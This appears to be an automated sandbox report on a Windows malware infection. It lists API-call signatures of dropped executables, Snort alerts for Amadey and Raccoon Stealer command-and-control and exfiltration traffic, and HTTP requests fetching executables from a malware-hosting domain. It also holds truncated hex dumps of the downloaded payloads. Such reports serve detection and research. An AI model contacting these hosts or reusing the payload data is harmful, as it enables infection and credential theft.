Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000015.00000003.419049577.0000000004CA6000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000015.00000003.419038089.0000000004CA0000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000015.00000003.419019370.0000000004B71000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: A975.exe, 0000000C.00000000.388624926.0000000000413000.00000002.00020000.sdmp, A975.exe, 0000000C.00000000.400258655.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000015.00000002.458048994.0000000004CC0000.00000002.00020000.sdmp

Source: C:\Users\user\AppData\Local\Temp\B55D.exe	Code function: 14_2_004199E9 BuildCommDCBAndTimeoutsW,CreateMailslotA,GetNamedPipeHandleStateA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	14_2_004199E9
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_00401280
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_00401090
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	20_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00409970
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00578A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00578A30
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005714D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_005714D0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_005712E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	20_2_005712E0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00576090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00576090
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	20_2_00579930
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	20_2_00579BC0
Source: C:\Users\user\AppData\Local\Temp\C29C.exe	Code function: 20_2_00579D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	20_2_00579D90

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.3:49851 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 1087 WEB-MISC whisker tab splice attack 192.168.2.3:49857 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.3:49856 -> 185.215.113.35:80
Source: Traffic	Snort IDS: 2018581 ET TROJAN Single char EXE direct download likely trojan (multiple families) 192.168.2.3:49862 -> 141.8.194.74:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49886 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 192.168.2.3:49970 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49970 -> 185.163.204.24:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.3:49886 -> 185.163.204.24:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /advert.msi HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /123.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /442.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /443.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /KX6KAZ9Tip.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /RMR.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /
Source: global traffic	HTTP traffic detected: GET /c_setup.exe HTTP/1.1Host: a0621298.xsph.ruAccept: /

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:17 GMTContent-Type: application/x-msdos-programContent-Length: 301056Connection: closeLast-Modified: Mon, 10 Jan 2022 12:06:49 GMTETag: "49800-5d5392be00934"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 e1 76 15 69 e1 76 15 69 e1 68 47 fc e1 69 15 69 e1 68 47 ea e1 fc 15 69 e1 68 47 ed e1 5b 15 69 e1 51 d3 12 e1 71 15 69 e1 76 15 68 e1 f9 15 69 e1 68 47 e3 e1 77 15 69 e1 68 47 fd e1 77 15 69 e1 68 47 f8 e1 77 15 69 e1 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4 e8 62 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00 a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:20 GMTContent-Type: application/x-msdos-programContent-Length: 320000Connection: closeLast-Modified: Fri, 14 Jan 2022 01:04:02 GMTETag: "4e200-5d58060eff655"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4c 36 55 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e8 03 00 00 a8 12 00 00 00 00 00 c0 b5 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 16 00 00 04 00 00 77 4c 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f4 e2 03 00 28 00 00 00 00 00 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 16 00 00 1e 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 52 e6 03 00 00 10 00 00 00 e8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 65 78 00 00 00 00 05 00 00 00 00 d0 15 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 6f 6d 00 00 00 00 ea 00 00 00 00 e0 15 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 65 77 65 00 00 00 93 0d 00 00 00 f0 15 00 00 0e 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 16 00 00 84 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f6 46 00 00 00 90 16 00 00 48 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:24 GMTContent-Type: application/x-msdos-programContent-Length: 323072Connection: closeLast-Modified: Fri, 14 Jan 2022 01:04:02 GMTETag: "4ee00-5d58060ef1b95"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 8d 67 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 f4 03 00 00 a8 12 00 00 00 00 00 f0 c2 01 00 00 10 00 00 00 10 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 f0 16 00 00 04 00 00 38 da 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 f0 03 00 28 00 00 00 00 10 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 16 00 f8 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 82 f3 03 00 00 10 00 00 00 f4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 10 04 00 00 18 00 00 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 67 6f 67 00 00 05 00 00 00 00 e0 15 00 00 02 00 00 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 61 74 00 00 00 00 ea 00 00 00 00 f0 15 00 00 02 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 64 69 74 00 00 93 0d 00 00 00 00 16 00 00 0e 00 00 00 14 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 10 16 00 00 84 00 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 00 47 00 00 00 a0 16 00 00 48 00 00 00 a6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:04:58 GMTContent-Type: application/x-msdos-programContent-Length: 905216Connection: closeLast-Modified: Thu, 13 Jan 2022 15:53:07 GMTETag: "dd000-5d578aeb4049d"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Fri, 14 Jan 2022 01:05:05 GMTContent-Type: application/x-msdos-programContent-Length: 373760Connection: closeLast-Modified: Wed, 12 Jan 2022 08:30:43 GMTETag: "5b400-5d55e62ba577e"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 